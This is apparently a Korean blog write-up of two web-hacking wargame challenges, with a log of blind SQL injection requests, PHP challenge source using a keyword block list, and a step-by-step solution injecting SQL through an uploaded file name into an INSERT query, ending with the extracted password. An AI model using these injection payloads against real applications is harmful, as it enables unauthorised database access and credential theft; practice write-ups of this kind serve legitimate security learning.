[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x44%20--%20->(D)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x45%20--%20->(E)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x46%20--%20->(F)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x47%20--%20->(G)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x48%20--%20->(H)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x49%20--%20->(I)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4a%20--%20->(J)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4b%20--%20->(K)              

####current password#### : CHALLENGE55CLEAR~~KK                                                   

CHALLENGE55CLEAR~~KK     

                                                          

<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();

$hidden_table="????";

if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}

if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();


$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));

echo($f[0]);

if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}

?>

<!-- index.phps -->
</body>
</html>












































<html>

<head>

<title>Challenge 29</title>

</head>

<body>

<hr>

hint<br><br>

<font size=1>select password from c29_tb<br><br>

$file_name=str_replace(".","",$file_name);<br><br>

blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.<br>

더 간단한 방법이 존재하니 그 방법을 이용해주세요.

</font>

<hr>


<form method=post enctype="multipart/form-data" action=index.php>

<input type=file name=upfile><input type=submit>

</form>


</body>

</html>


소스코드는 파일 첨부 기능과 .을 필터처리 하는 것 이외 별 기능이 없다.

임의 파일을 첨부해서 전송하면 시간, ip, file 값이 출력된다.

------------------------------------------------

   time        |         ip        |       file

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------


위 결과를 볼 때, INSERT 쿼리로 파일을 DB에 저장하고, SELECT로 출력했을 것이다.

1. INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');

2. SELECT time, ip, file from c29_tb;



우리가 조작할 수 있는 것은 파일명이다.

또한 magic_quotes_gpc 옵션이 On이 되어있는데, 해당 옵션은 GET, POST, COOKIE 방식으로 전달받을 때 적용되고

$_FILE 변수로 전달받을 때는 적용안됨.



abc')# 로 파일명을 변경해서 전송했더니 upload error! 가 출력된다.

즉, INSERT 쿼리로 값을 저장할 때 칼럼의 순서가 다를수도 있다는 것이다.


INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$file_name', '$_SERVER["REMOTE_ADDR"]');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$file_name', '$time', '$_SERVER["REMOTE_ADDR"]');  // Done


파일명이 첫번째 칼럼으로 지정되어 있다. 

따라서 파일명을 hellworld','153582527','123123')#로 변경후 전송했다.



업로드는 성공했는데 출력이 없었다. INSERT를 할 때 자료형을 맞춰서 전달해야하는 것 같다.

hellworld','153582527','111.222.333.444')#로 파일명을 변경해서 시도했지만 여전히 업로드한 파일이 출력되지 않았다.

2번째, 3번째 칼럼위치도 변경해서 시도했지만 마찬가지였다.


아....필터처리를 까먹었다. .을 필터처리하기 때문에 CHAR()함수를 사용해 전송했지만 

마찬가지로 해당파일을 출력한 화면을 볼 수 없었다.


SELECT 쿼리로 처리할 때 WHERE 구에 공인IP 주소를 조건으로 사용하는 것 같다.

나의 공인IP 주소를 CHAR() 함수로 변환해서 시도해봤다.


hellworld','153582527',CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))# 으로 전송하니 성공!

따라서 시간 칼럼 부분에 서브 쿼리로 (SELECT password FROM c29_tb)로 변경해서 전송하면 패스워드를 화면에서 볼 수 있다.


Hellworld!',(SELECT password from c29_tb),CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))#

IP는 소중하니까 물음표..


Password is 296eedfa0b5f4deab7cc8140cfc65dd8


+ Recent posts